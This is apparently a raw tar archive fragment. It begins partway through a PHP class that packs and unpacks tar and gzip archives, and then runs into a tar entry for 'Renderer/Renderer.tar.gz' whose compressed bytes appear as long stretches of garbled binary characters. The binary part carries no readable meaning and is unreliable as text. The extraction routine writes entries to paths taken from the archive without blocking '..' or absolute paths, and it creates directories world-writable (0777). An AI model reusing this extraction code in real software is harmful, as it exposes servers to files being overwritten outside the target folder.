					if ($data == '\37\213'){
						$this->isGzipped = true;
					}
				}
			}
			elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true;
		} 
		$result = true;
		if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb');
		else $this->tmp_file = fopen($fileName, 'rb');
		if (!$this->tmp_file){
			$this->errors[] = $fileName.' '.__('is not readable');
			return false;
		}
		$result = $this->unpackFileArray($path);
			$this->closeTmpFile();
		return $result;
	}

	function showErrors	($message = '') {
		$Errors = $this->errors;
		if(count($Errors)>0) {
		if (!empty($message)) $message = ' ('.$message.')';
			$message = __('Error occurred').$message.': <br/>';
			foreach ($Errors as $value)
				$message .= $value.'<br/>';
			return $message;	
		} else return '';
		
	}
	
	function packFileArray($file_array){
		$result = true;
		if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
		}
		if (!is_array($file_array) || count($file_array)<=0)
          return true;
		for ($i = 0; $i<count($file_array); $i++){
			$filename = $file_array[$i];
			if ($filename == $this->archive_name)
				continue;
			if (strlen($filename)<=0)
				continue;
			if (!file_exists($filename)){
				$this->errors[] = __('No file').' '.$filename;
				continue;
			}
			if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
			}
		if (strlen($filename)<=0){
			$this->errors[] = __('Filename').' '.__('is incorrect');;
			return false;
		}
		$filename = str_replace('\\', '/', $filename);
		$keep_filename = $this->makeGoodPath($filename);
		if (is_file($filename)){
			if (($file = fopen($filename, 'rb')) == 0){
				$this->errors[] = __('Mode ').__('is incorrect');
			}
				if(($this->file_pos == 0)){
					if(!$this->writeHeader($filename, $keep_filename))
						return false;
				}
				while (($buffer = fread($file, 512)) != ''){
					$binaryData = pack('a512', $buffer);
					$this->writeBlock($binaryData);
				}
			fclose($file);
		}	else $this->writeHeader($filename, $keep_filename);
			if (@is_dir($filename)){
				if (!($handle = opendir($filename))){
					$this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable');
					continue;
				}
				while (false !== ($dir = readdir($handle))){
					if ($dir!='.' && $dir!='..'){
						$file_array_tmp = array();
						if ($filename != '.')
							$file_array_tmp[] = $filename.'/'.$dir;
						else
							$file_array_tmp[] = $dir;

						$result = $this->packFileArray($file_array_tmp);
					}
				}
				unset($file_array_tmp);
				unset($dir);
				unset($handle);
			}
		}
		return $result;
	}

	function unpackFileArray($path){ 
		$path = str_replace('\\', '/', $path);
		if ($path == ''	|| (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':')))	$path = './'.$path;
		clearstatcache();
		while (strlen($binaryData = $this->readBlock()) != 0){
			if (!$this->readHeader($binaryData, $header)) return false;
			if ($header['filename'] == '') continue;
			if ($header['typeflag'] == 'L'){			//reading long header
				$filename = '';
				$decr = floor($header['size']/512);
				for ($i = 0; $i < $decr; $i++){
					$content = $this->readBlock();
					$filename .= $content;
				}
				if (($laspiece = $header['size'] % 512) != 0){
					$content = $this->readBlock();
					$filename .= substr($content, 0, $laspiece);
				}
				$binaryData = $this->readBlock();
				if (!$this->readHeader($binaryData, $header)) return false;
				else $header['filename'] = $filename;
				return true;
			}
			if (($path != './') && ($path != '/')){
				while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1);
				if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename'];
				else $header['filename'] = $path.'/'.$header['filename'];
			}
			
			if (file_exists($header['filename'])){
				if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){
					$this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder');
					return false;
				}
				if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){
					$this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
				if (!is_writeable($header['filename'])){
					$this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
			} elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){
				$this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename'];
				return false;
			}

			if ($header['typeflag'] == '5'){
				if (!file_exists($header['filename']))		{
					if (!mkdir($header['filename'], 0777))	{
						
						$this->errors[] = __('Cannot create directory').' '.$header['filename'];
						return false;
					} 
				}
			} else {
				if (($destination = fopen($header['filename'], 'wb')) == 0) {
					$this->errors[] = __('Cannot write to file').' '.$header['filename'];
					return false;
				} else {
					$decr = floor($header['size']/512);
					for ($i = 0; $i < $decr; $i++) {
						$content = $this->readBlock();
						fwrite($destination, $content, 512);
					}
					if (($header['size'] % 512) != 0) {
						$content = $this->readBlock();
						fwrite($destination, $content, ($header['size'] % 512));
					}
					fclose($destination);
					touch($header['filename'], $header['time']);
				}
				clearstatcache();
				if (filesize($header['filename']) != $header['size']) {
					$this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect');
					return false;
				}
			}
			if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = '';
			if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/';
			$this->dirs[] = $file_dir;
			$this->files[] = $header['filename'];
	
		}
		return true;
	}

	function dirCheck($dir){
		$parent_dir = dirname($dir);

		if ((@is_dir($dir)) or ($dir == ''))
			return true;

		if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir)))
			return false;

		if (!mkdir($dir, 0777)){
			$this->errors[] = __('Cannot create directory').' '.$dir;
			return false;
		}
		return true;
	}

	function readHeader($binaryData, &$header){
		if (strlen($binaryData)==0){
			$header['filename'] = '';
			return true;
		}

		if (strlen($binaryData) != 512){
			$header['filename'] = '';
			$this->__('Invalid block size').': '.strlen($binaryData);
			return false;
		}

		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1));

		$unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);

		$header['checksum'] = OctDec(trim($unpack_data['checksum']));
		if ($header['checksum'] != $checksum){
			$header['filename'] = '';
			if (($checksum == 256) && ($header['checksum'] == 0)) 	return true;
			$this->errors[] = __('Error checksum for file ').$unpack_data['filename'];
			return false;
		}

		if (($header['typeflag'] = $unpack_data['typeflag']) == '5')	$header['size'] = 0;
		$header['filename'] = trim($unpack_data['filename']);
		$header['mode'] = OctDec(trim($unpack_data['mode']));
		$header['user_id'] = OctDec(trim($unpack_data['user_id']));
		$header['group_id'] = OctDec(trim($unpack_data['group_id']));
		$header['size'] = OctDec(trim($unpack_data['size']));
		$header['time'] = OctDec(trim($unpack_data['time']));
		return true;
	}

	function writeHeader($filename, $keep_filename){
		$packF = 'a100a8a8a8a12A12';
		$packL = 'a1a100a6a2a32a32a8a8a155a12';
		if (strlen($keep_filename)<=0) $keep_filename = $filename;
		$filename_ready = $this->makeGoodPath($keep_filename);

		if (strlen($filename_ready) > 99){							//write long header
		$dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);
		$dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');

        //  Calculate the checksum
		$checksum = 0;
        //  First part of the header
		for ($i = 0; $i < 148; $i++)
			$checksum += ord(substr($dataFirst, $i, 1));
        //  Ignore the checksum value and replace it by ' ' (space)
		for ($i = 148; $i < 156; $i++)
			$checksum += ord(' ');
        //  Last part of the header
		for ($i = 156, $j=0; $i < 512; $i++, $j++)
			$checksum += ord(substr($dataLast, $j, 1));
        //  Write the first 148 bytes of the header in the archive
		$this->writeBlock($dataFirst, 148);
        //  Write the calculated checksum
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
        //  Write the last 356 bytes of the header in the archive
		$this->writeBlock($dataLast, 356);

		$tmp_filename = $this->makeGoodPath($filename_ready);

		$i = 0;
			while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){
				$binaryData = pack('a512', $buffer);
				$this->writeBlock($binaryData);
			}
		return true;
		}
		$file_info = stat($filename);
		if (@is_dir($filename)){
			$typeflag = '5';
			$size = sprintf('%11s ', DecOct(0));
		} else {
			$typeflag = '';
			clearstatcache();
			$size = sprintf('%11s ', DecOct(filesize($filename)));
		}
		$dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));
		$dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');
		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1));
		$this->writeBlock($dataFirst, 148);
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
		$this->writeBlock($dataLast, 356);
		return true;
	}

	function openWrite(){
		if ($this->isGzipped)
			$this->tmp_file = gzopen($this->archive_name, 'wb9f');
		else
			$this->tmp_file = fopen($this->archive_name, 'wb');

		if (!($this->tmp_file)){
			$this->errors[] = __('Cannot write to file').' '.$this->archive_name;
			return false;
		}
		return true;
	}

	function readBlock(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				$block = gzread($this->tmp_file, 512);
			else
				$block = fread($this->tmp_file, 512);
		} else	$block = '';

		return $block;
	}

	function writeBlock($data, $length = 0){
		if (is_resource($this->tmp_file)){
		
			if ($length === 0){
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data);
				else
					fputs($this->tmp_file, $data);
			} else {
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data, $length);
				else
					fputs($this->tmp_file, $data, $length);
			}
		}
	}

	function closeTmpFile(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				gzclose($this->tmp_file);
			else
				fclose($this->tmp_file);

			$this->tmp_file = 0;
		}
	}

	function makeGoodPath($path){
		if (strlen($path)>0){
			$path = str_replace('\\', '/', $path);
			$partPath = explode('/', $path);
			$els = count($partPath)-1;
			for ($i = $els; $i>=0; $i--){
				if ($partPath[$i] == '.'){
                    //  Ignore this directory
                } elseif ($partPath[$i] == '..'){
                    $i--;
                }
				elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){
                }	else
					$result = $partPath[$i].($i!=$els ? '/'.$result : '');
			}
		} else $result = '';
		
		return $result;
	}
}
?>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           Renderer/Renderer.tar.gz                                                                            0000644                 00000462366 15217306007 0011231 0                                                                                                    ustar 00                                                                                                                                                                                                                                                             	<8۲%J"ƾ}}c03c)=$$d)[քER(!9Uy߯ޏS3˹{9瞻@QH4B<7ñ>$ُ$𑓑a<𑖖H¤%`R@,L"㇟`fF]051@>0P|evSzRRr!L>w<{=$] t޵"㩗Wo(j
5M'Ҧϊz[*VpPm+VȷqBiY>&3g2_kk
Ŀ}3vwצ7ԏ6m(_kULQ<@e9i;r&}i)mF#.-
I-Wğ7'2q#O5Pǎ_Ok|dAˆl˴Y3[<ٱ^wa>Y˳O挍]y+Û`zG]wڱ0J[*
 '0씗R+,biG%^tVGxȾؾ$׷8NO0Eb/IΩmͯoF.O,0Ks(WzvwxqLDڗL}?ͯ;qGDи}N8*2?<Vە 1p}PMzFCb4p%V[mX3G4~͝O}hSܧҏxeߔ1_lh>n8&'`Tٴ3w/"NiO5&t+lsv&S^_v.'s[gNj@9_2/tJ|3 P9%a(e{4{z&#)FsxN2>zCƴ5a^7xS`"3]S.3MǊz;	*an^J-͑KݣWTħ\ێ>R_{~c6e-'׊e}{-:vK 6'#G8Jɜgx}7tu*-"9-?wRו )-(>17ќM!G=2}Vq1NAdb/Mt9˝POGj<{ 9S#)Yz}ҏϥoz̨8笟{mYmѮٹFyo{>.2'A=[q
^;+G/湑xi|GE)6wGgCoK7;xDRf$'p<)*g]脽e49uC0%>h.KΞY'c_QiaGY$,Ͼ*ԻȢCIOj/YN("6V4٧$ɥw7
c6qi[s>]7ۯ\Q+wL-)s;Z'Z3 $m\%M$C˲h]G>}Z?C=<Mۂ㱕OzQhtlk3v>+e<9vDsR{`[`Qvi'mn=Nmd.ox@ٱi]T*+3*1!ζ⢑Փo۷~tپBRtKhIqUMr`h-m6C܌ǆ*M(sTdW2%O&ZpT2\2Ky\bCe¼4%q#Iڥ'|qkv9er,M-s^;r$(Mą]LGow,xuelp߶Esw^Hx`%ߧ=.5Z]G<:maີ@f[Ei)]'[	喫B>	`{ ~Ҥ({*ڮ^,UxݓN.͆8R?>y;I	NyWOx[?Y99i?0els|BGc4WX^m~cEChE>է7@3{2WS).-8&|5Mvv*Ӑm6Տ43ߪc^mw] )7C.N9'45ekuejNB9ES>?Qg;HYlɽ5C/y^eB~W9M^NV7V?^.{lmޯ"/|9̻,7%ݾ?Wj>n{7-/-`?L/U/?כn_t["zˍ+7Xp=s{Bn~W
/*~twK럨H>UG7|&yR
ׅa꽔j_.Fubo޽;'bV-zyca{^Ełn{ǿNoFb>n/)7$"'{~1G!*EyIdcL_E})sϑ<6wcM9sՂlOnd__f>sDt/ˉf/[؋\1F쟇>F[ͺ:%罯RO˅v1.p}<ϒ%g92gՔwdTD~eMcޠXMfZǤgT~mYccdȣMuf/n}awP7Uٺ$Co=vVm%/Blc=N~$1i){
⌟:R^oz`|h`B<zfk/2nEe5(f
ѽsgW^}Nd3A3;(pP2Bߓ"OYБn9a^ot/#֍MS!HLi4'$^<wjpom9T(VՊܘD\(;}zC2ovCWMCJ]8F_S^ndr\ɖS]A%ýbw:uStD׾-)횡r2yR0ĐɄrp2/RqLRpzOr	R(>g2ϔUݼ^uJ~;ǡ3HER5XC`ɌAՑ_2j$6_ip*ώb0THU;f(Z+ejzg+uC"&[O2;mU`"^#gZj~!=oO_ޔ
yԈK㞟2*u.C8ݶ3ϴ;UGM252iҏG?uuQHRʝ̴E2_HHk
?RC՚Ԧ)-6˸ܤ8CĶ6ҩ?oP<=<Us|y!\̚;fl)EUIަ-Poz<ò0ؗMBd<LM$Ӯe<'?<'{]x Y/ju'aSebsJ˞[-3\l:g>!Q?ûK<Fg_Q?䌈m&2^c6
yh{h^ֳG_߷W##aNRr'r>,=,&Ju^ӤYA~u;6mLPAW䠼AMgOGQkԈIuد	A?wxצ:l^]dGĭԪYAB4b9:P._}3zKΎq|pHPAriRCDJcf6mKr(Otj:S;D+2*卆o')M&Jw`?iEm6d6ɖ>QE$.gsR#1I7KJt+NōMg+t=sqgtfGucԺE6|U>oOUr)Ƃ"tD>zk3~d5m8q%]s&DpFg{u#ﾓ,EZq[Dd}}ܘC#:$9&w	b*Z!Fŗ\-e.'M&iԜ4zp%2v|37yhq: ?zmcN	-yGb	[zwBky1zH*#TC]?FC?4&<}T"h`Lт̟.,2mT6ˍ*HI^*VUOSځu`ʕ+'	*!N;ib@&DuS:i#5颊/fK1|]>EHD>t;xM⚣cl |nA#9ȍwvFA*} !?vy4Hkpo͎Iwu{ZNKcWKzc\^K=fYKf%nt-81sf9zY;%>^8*c)ּФ~z/#Sѽr:攭xelIUQɌ}	6ilAmKz g}azbѷn*1BdGX8//޶҉n<^B"VY$6Y8АL=4v5.#-+\&Ee2|[(F|&E^K$/K}hj[_nAW9$ѷ畵yKzvTMcl4Ǘ	eAe$Uy3Vy-୉<]KsmL \!Y3_:&'vL_-JFϡgc"b*ѱoT'|[	ߺ|9Խ>|˿(_yt*}wF7	[nNgj5ׄ~1Cvj-{bi]4V*&CN^(c5cYR!;~dRìU[zS:P~RfIA?.#V*L/5|_d[ۉt~ͣۼs;5_"gziZ	rskjѩlTlRcU>!IB왷LRs'3N2SOӤk6S4P{2~9T.h7D{u!(y^q-=;+{D9.d^k.ylNOHXLvb*0I\>[d3ih	#PGsf0JZW$qʗuDeD+s}Zۏ/|SSfmsscJBSkZguۼngȪxt3Ý\&~5%)j_Mx-
I/BOGִ4ƕ@oS;WRp0da;dif0;ޙ5W]J&axx&||ђܖ9eH(f_cgXk˗4KP=MF$^1AWK0Otak`1lUm%SRiÎz̔w!1S[RLoK{NմFAum1M-|[3OVAoը^̣_LYXbIz"vx7EʆWfΔ\}`mJ9kzrEx#fMs<G*Apgo✉gC轹?h>T^op.y.n1ǡcS~H3ɵqyIa&^v
_)||׺d0O'0쎷ى{*+WrJ>G'{<"L-`Ϩo(}=>PjKɣHU;繎6-:9د{<W7xk_[幚Vi\wDr8H9q],аnCړN,MI,ϼVfaш9Z'v,`XqBkŤtUG1րg4zE;FS-0zrWGNO>o!CYEiҝբM'ޙBv2qФή9!EQŞt|qQxӾ$oKҮ):>VZCN/}~:wũvTAՙ2UNבw|>}9.D[Rj>JS_>s#Pǻ|p6KC|LW*:a]/9h.PX>t`uYA2SF]<	)[sNDÐe;$G$b^1b*MqjH-<.QdMh-~³MΟg6V>Jx}}˻-$༭~̋rJG|V]PyAyc	&*a1=b[+Ń'v09DW¤e5x@fwipu~K6<g-.dUj/ţc_5K؎#:uH>Cc(X5!A#_ViCٍ3oæ4tALꨏѸs*n~O#t%Z~Ze搜O/Iu{̈.fV"xqpLQqyAlׇ>b󧉔=:Cg4[}twsG$	>	DAƬƃIN_r?Ԧ^cߧ., {+ґWӐǮ6T6xKdVE;H=8K:\'qk@sf*}\%T,>޷OE84?F߰)/H_:D㈛2 	ps&+$]]f=YF{$+HN4-Th-a{rX@)&ѯָы l	?l+&q[v&1⦛j2Mia$|4Չd-;s81I\/^Kyd.0zQ-*WiH[/$>վ&+]^KԖ[xkǶsi6ylrXwQ訒6
*CJǄ6e$kɖin
WzXSb@y\}EZl; 1}Ui8-swz)aR>/YF{ؒ.M3iXWmw.,Vn- 1eH\M7/"M~Ƽib9(8ȣ^Sˌ=3]k'y߅YGL~Hx_G5)?û#2#!q^sP;tݎAۅ{#<=d,v_igN*kn[>h|VGz3glGuW\&V!TKb_Yɸ sq׶ߧl是}ϖ<Rz`<TcR>5nvc>nNjT/uҼpTB`J<ҥ
ZdZ.=p{c9CF95wuT(Zu\ڐZjؾ Q_BīLh}N0d|^OBU3d0uM/Hӊ:D.nY4.V7yCj-H.Dd<u9[XcDؗ{ӑM.AsqŢ!TY.w])8ӱDHЏ'[c5t]R4&77(5wȒս|AT}VȻs%ۈ}>}I*PVKTQ^miF^ߠ
87陒d}Ǌ;F_3QIGߦz7oR<>.ّ4t1qiSS*TC.M˕4>|z:RzKR1rD2k)S	Dڅr>#I~W\a	Z_*9jUzxtH{a/89ZlV(ihLҴ7|\]4)g)F)6Ψzuu7YdyTEn/l˹B]< Wi|j1bf|E ~<mdR$GgN{V:ILmv!S-XLoV7Jig4ţ'*swΒVfN&g,d1D}YEmFf-ʩGRbP,e羕V?g~Ö,*Me<ɞ~/謁+7rn}ynx&ȰcNv9~-|hi2ڔS#G1ɔ!gIpk+kYv+=yt<AoL@Χpjtkqǂd=UUvG%bL-EԱqzu^U"EMһ]<nhƬFj3ouy8,aGN%hHt	\(jXt110ISs3ة-"Iyk8=p?Yz9i=wl6Aa)](-Uɖ&mN{T66i:eu6d@2u%	#i>4܏Qʆzxg.e)3`'MwnY ɚ=L+{q0l%\nx=o_.~wk/iI?/m@5ײ A}e òf,J;)5If.5eOHotK-մt7lk&N3"M)Q|M0ct7k]ȱB ݌.NO{G<Hԯ-R.IG	n?y2-v\䣅w
d_8羥ZPYvSCgT%I/1^tۿS6Gv3V?lbGȥTMSb1G7\nV{#U{+Mz_˷'I7xʱy츫C^ڎgI&&u^U$4Rs^[SܫFEF{no0HCNUv)rot.'tM+`ǚr|Iwq%i_ù͋&O}ODeFA]Mmpܾs[Bkk1O(/+T&GK4aFtAf:n,%\uxFA~7K$meOdQ@ԛFvq멤\TtQ]]l-NRŽTD!kCjgr뽜6L#F( qoT\7+Rܪ}2	Qb26-)Kv:&,{1L-_z=|bN<QSTq_,C;_d\~y|^CT!v5kǾTzt~x1nkł^ȗ{P}*n5s1WO_Qvk`7׳IYm,3;16(WjM?3K=Vg
}hf~/xJe0e% /,)5 C:']G@d҅+1<嗏:m\X9ݴ'nUS{ș!xAsҒHqgdNȪ-6ۓHU8F%Fy>͸2-PjKcȫe&Iu5X;.Z
ivVLog8&/~l0vrd<,?࣓Flz8{l|Mv2ʮ>n#wTOu=Q8Xr8%4aGCB[_ʥ]9W^twj&鑊&c\}msu_Ds$}S\,zPǚs5*8Ǝ 2(͇/jl+v~)PkRN\'!9ܶt0|^63#4,؞Zp74Z#X&Y<Oΰ-2GHpM?u EPj+U#'zZ^`яvsEKf
hOQWDӿ	pke@[}	Ls= Yb{\j׶3Уs'ulOөҟj]SXFZK):kUk1]/YbpR\˾/cA٭P%ًdYb2VNT[FMӎ<b\hz'66CBg+1G
[x955]]zHG#ob8B/DHL}xsMIz[khG>Odh^~|DmQT+OԄa[ܙKwR˼mVy)'^<An\.ﾏ&.A2OoSllvQ킾*->SmG7`;ZnR>Ɯ5Ϡ1E^ҲζGs>Qr~6"FAA-n+8sLׇhF٦Gou;UCGo:R(1$;GJ>F:OO]OKm']ʱD+]ɩ:|JLٛ8ǥÇdx,{r)o]z遛pϔqijbhcjoNz7-=yVէk//Pwe>~q'B9SdOp+fI;,5#,4[Yk1&N~ys\Dy)4){QMiγd_w>C{έU8s某h$0Y	~~-'mRS4x]2}a)K)0hhv0|rP,;Z_q!e~7-3}>[-5/$]ΧD]Hlmtkd%cCMe"J7~ێ~(	Ӳw墿Pۥ4/oT˯@#:yUC;y}gϫh)9U^tٮ5m[49nq[R[qw˫rPrIus>'s3÷ħ-j):͘lsO?<A}R~󩡉rv#,Jk|#V4ps˔Bư 59=N=5['[{EͽS{z292%GT>H}qJ'4sH^zr'沧#TiޔPiy=Ä3DeQ5J?1(ՙd1+g:[o{DHۈw@ϩwp<uVG:;Od0askBy<i|r.o3:\2P(?rW5&SۜvUWnىu6{H)m1M!v	]u1z[]IUÝfCXJ򨐳0UԘfEK\0)gCM';ZKetF[eh_v>;xٸܽ-t;JU^~#jv\dVe4𒟠#jHv1λm}iEwZ;%RKvwץ:~*q%r;c-WVt"Eo~ѪFN)`.&kT.2zε禔Je lC8)P˥zٲ'$ǋOY<+w|Au4Od,˓Ujɔlh>8'x>}+)Cfԕ6Qjܮr7lwB#1CqT=-mq!B1B28o_HG<+8~}.O:zvWL`dBnh-^ogam-&MYgvLIRզRz!gwYir[!gh{f=Kѷ^f2qϡJ݉"~ʴ 3v<փ=r39eӚ5؁Hi	/AEJ5ζ_*JLp#)e7gnD1Iދ<R~]ȋsBҴ[^ޝfk$h`-j()8Pl l))+Y2Ŏv&on>D]>{uJm#934Cm}LK8$v݅÷DO۽S=5`G	]ޓ#{(g~ďg]=+%1p˝E'!% Iܦ$Ji|^zApU[Uvw.x;-ٛڵB/yϮUH#5V\>./em+O<E.Vqc5k0>igO˯߯}nls~ODo1nK5E.PIKXz:2"XE޲dwלߊ}y'Yq񄇇n/_Ⱥ2yc;{|
{Իƹhƞo[],Ko`(cU0'ۧ菖6_\kYh0E$i7ؼ>p.ma?=fd|辺L!-o\OxT_O6:ABEf~YRѹt^bt魞񓯺;zkV]ϺYg<v=D0Hs%,g6cd-&cGuȜ-no(v?*Sh>?a@p7ɚ>poгSuZ>?M9la7H[nup?2yqz$&QSUʈ;U+'B{xmq!l~	SI+;:Q-~gQ1G%h|5tŸHĮsl%ڜ&lGc<|rqOxG#$'ۍ*L4JՎailCw
1,QMU7g7rE-j뙤F:%pOgnk!sc`*XK뼔%:PavN'ԸG}u詤ޖ=%ЏpJ*[zA˞MQm,^|QI2ꦡV-A;"F7ުB uQz܇*6eFcђ81lF<I'g>0yQw*ư
mx1AIY77,}`dHÃ%㡬1׺'ׄ)2ERiX0=T.rGOVM#z.^= 恟6[2VAa{GN{4<aҖƟgFU쎨aɐQ?|{DIɫ^JTҗ-n-}u0oass;##v)^3p|ԾT	SrwwmX-h`;I)^r̸T)[=H[ӱvZewf]2HJ"dg%T?ܨ.S%'+zoXn5K]-X\jj\W*Nr.Coп4sQ9|;Dā,i@Q+wWJ74YyQGKsQJ25FsgdWd{]Ֆ0dd^3ʻn;؅pzӣz~ӨvKŻg'f<D=f>}dZ3'S_vK1D{3o,=^{yg#!z_ΥW%<Z* ]/X4] =ݛNFo-NejTGR>Ybsu
י;J\.6|T=qkZ׽V=l;%qGo9'IȠnooaN2Nߗ!a㥘o|+1Yd)U';%={)5K-5/vޥg(^R)xy{3D_c-Xyu4q9cw,?rNt2 6>q&Y_Nn~}N֘3=us\9SzbDL>>J17y}UCѧɿD˽?:peL` h+L8=jrGs0`s{Lzғ7?SPfOnb\{k^E!%,C&k67u_ɆQ_olFww?d
4KL)ﾛGז~HJQϤ]à܀l#fXE*+b-!Y戉$7Fu~HѩmM4
&Qӳ/s/ܭBb.p#ks&=}NfeíTSz6e!GQ[۰;&'VIQu([>Pʀa]QiI9=U9$濾y_Tl%lE{UYE|ǭ+14
C'f!wDtwO?<wƼPc҇ӡ%h#~B$+Ǭ)G-B?Mwf=.taڵ#J_;#3};"X˹O6_^8LN:ΔIl^Qyw1M3~i%wM|MUT״$ΆXN:4wɶj+ιQ|RY'2DR{Fi<;vtsM=מG/N<ߧV(ה}G4Dq촮1Rtq
|\aY'rmJ=613N5>4	4dtŽTv;U#gƯ?dim\P=ኑ(4.yo搎fjm|[<W
"EkT=2NVh%dq*!:PMyl=C齉"w^enΑ!eq2̮뎾#w"\+,vU_d-Qdxn=y]cuy+_z1}ZfltףňM!wU¤MԸ}[A9+3xG6 [Q2A'[o;|;=K`d@owx>hYb4F/ڣr><-z2Qa>FġC&ar\@G#4ɵSԱk0m8:k\K6KW$<<&(SMoN#%FA}
Л}z(Vgf|Y?ry?sܭf>bfٜ_j&`nT/yD^|TH+gq#EZ%.<^TK_2]_3l9/[g&wb՜历2m
?۩t|:Y<$&k[jѻ]oOusI:A஢@/k:{	;*yzͲfI&e)7!TT<0IڷlUsݫT_m|QJΐz$TsG{^G.LTz}m0-hߦ9Ė(؇[s'50YN>87	JKPē]^/wؑz̏SFS2*_u]2ƵвлkՓ(83d=y'ݝ[*|Y{T錣IDK?)ʬ.RލY2y̲s;+͒JxpfsښׇKˍG]<ϚpLv13HwWFi5'Ze+kL%<w&wRr"JOX@Y5<1UF:}TO%[:ݷOAl7:.rh47A*#J(rq< ̃mGAJQ%\2Sjظ*\8Τ'yGC[SJ,?0~+GAoG:gZK.Q8 RPBJk0b"m{jǓ3u8WvƖI1޼竤IPu.¯WO(YzPDioqGXv[$)|.ۧJG3=SbsIHڸpP;qLgvD,o8T<707~6_O[*Qwމ{N].s)|[8a^Yj:$Uh_m<b߲` sw]f;%|xC2'wU5:/pHqb՟ٔk}2cށ	O|'#X$R$zOvFG$u/L~-Yxs!(,=ڍŹ.HC9{S֚o^ {iU,L_(K.5={.LD-}RH ̜`Y(0.WE!cw7{:37U;&n@ǒQϭ"[OQhk1h\P8rQoƘptQ1xÀ3I'署{B>D}"AhmN'%I85֝۟.GLIޤ}oaBIdNؾ>]層/CFJUJ:oꙹNilA	4eT:yyHc'lύ#|bi:y:]	qN}0/ԑ=nEU8Y=$VWLo
gR^?~[O(Z71#aj)X,PI\פCBMt,G\V_V>CDsbC&PZ3vd%r7i7uDX2$ܡZM9Z:'VT1#u|>"о3W}
+ݿ{6WCsv11sf<6pl"ǞӧE99'_(B|#>90W/k\t1a&Jj:ƸXOR5^ψn>9	d1"t^yHdC8Jq;uBf]՚lϴ#߰gIɾXiJkryl\ČLp9>!mb+:@0vLxs'L$gvoiz,FYBy:>\}^1b/P e$ߺCngMm.y}r<Y~|^p,=Հífyͨ>o3;xlf[덨5ߚǋfrbupalK͌u9n)ST+għ+~?Q^o>dgkx5Eܨ\s]:ZmLnp{yW9d.'"|dH51`/l^Bg&nEk˔R;)yzZ9z-Ub˧|{)̑~4dbx4KoDvA+l]4Q}1mL
Ik㉮=u߫*r'Ty(`TxuɴO?عS2$-9{OPR0=0ۖ6Չl{9zfSXNp;F~ߥ^Һ"f!%f̢/sd<eX?:_PoEQ
!zAq6שd{3zHe?z;(S^D/..v䓱.	A_xgmd9#8VZSGS %;+"\Clk=47ٛ6i^Xyca7[כ|<1p2'1Iin<McYIF~vЙ6/lKw(LĶmiܽ泲l+vԌcewFFFWT`(}4%5s/fuw!T|rbq<A :])+bMG3,r尉Bhg8Ǟ."TvQ:yC/\RNjJRN?l;T;@r/4'lI^Χ9pvb"W؎M[Oa(}VR=̱'qEDjR0qwuN>-mˬq#N4;^p%TLPTY(頮B1ilqMdJϲﲛ^y"{푈▶Db*jH堑giӉ$Lsnv4,2M>*=_-P:=̼ tݽ=H"wta[C3tu+9tlB))z`ݞ).uLWcuo,	C.^]l1+X5td߱}\cR	e.sAo.?>q\PT>眊kыC*s9"㿔z]|xqFK낯%l2pe,fԫuܛi
}Ɇaajj*cYaLۆCùslP?Wv+9I<$q؇5ɨ>pH	01aH)0(J4xҝ/esBSk"t$-~nUAHX ._o܏(>{|ajϛs.G.̎~a/ufNsXF}!
Ϲ[L{c
